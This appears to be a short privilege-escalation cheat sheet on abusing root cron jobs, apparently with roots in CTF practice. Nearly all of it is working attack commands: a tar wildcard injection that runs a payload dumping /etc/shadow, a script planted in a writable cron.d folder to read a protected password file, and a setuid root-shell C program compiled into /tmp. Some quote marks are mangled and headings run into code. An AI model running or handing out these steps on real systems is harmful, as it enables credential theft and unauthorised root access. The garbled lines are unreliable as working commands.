Crontab
Tar wildcard + root cron
# If a privilegied script is used to backup something or just uses tar * in a folder you have write access
# You can exploit it to gain root access
# Create 3 files in the folder
touch -- "--checkpoint=1"
touch -- β--checkpoint-action=exec=sh\ shell.shβ
touch shell.sh
# Then put your payload in the shell.sh script (#!/bin/sh)
cat /etc/shadow > outfile.txtExploiting crontab
# If a script is running with higher privileges
echo "cat /challenge/app-script/ch4/.passwd >/tmp/cracked" > cron.d/go && chmod a+x cron.d/go && sleep 60 && cat /tmp/cracked
# Get user ID
cat /etc/passwd | grep shell4cracked
# C program to get a shell
#include <stdlib.h>
#include <unistd.h>
int main() {
setresuid(1028, 1028, 1028);
setresuid(1028, 1028, 1028);
system("/bin/bash");
return 0;
}
# Compile and prepare
gcc -o /tmp/pwned /tmp/._cron/shell.c
chmod +s /tmp/pwned
chmod a+rwx /tmp/pwnedWritable CRON directory
Last updated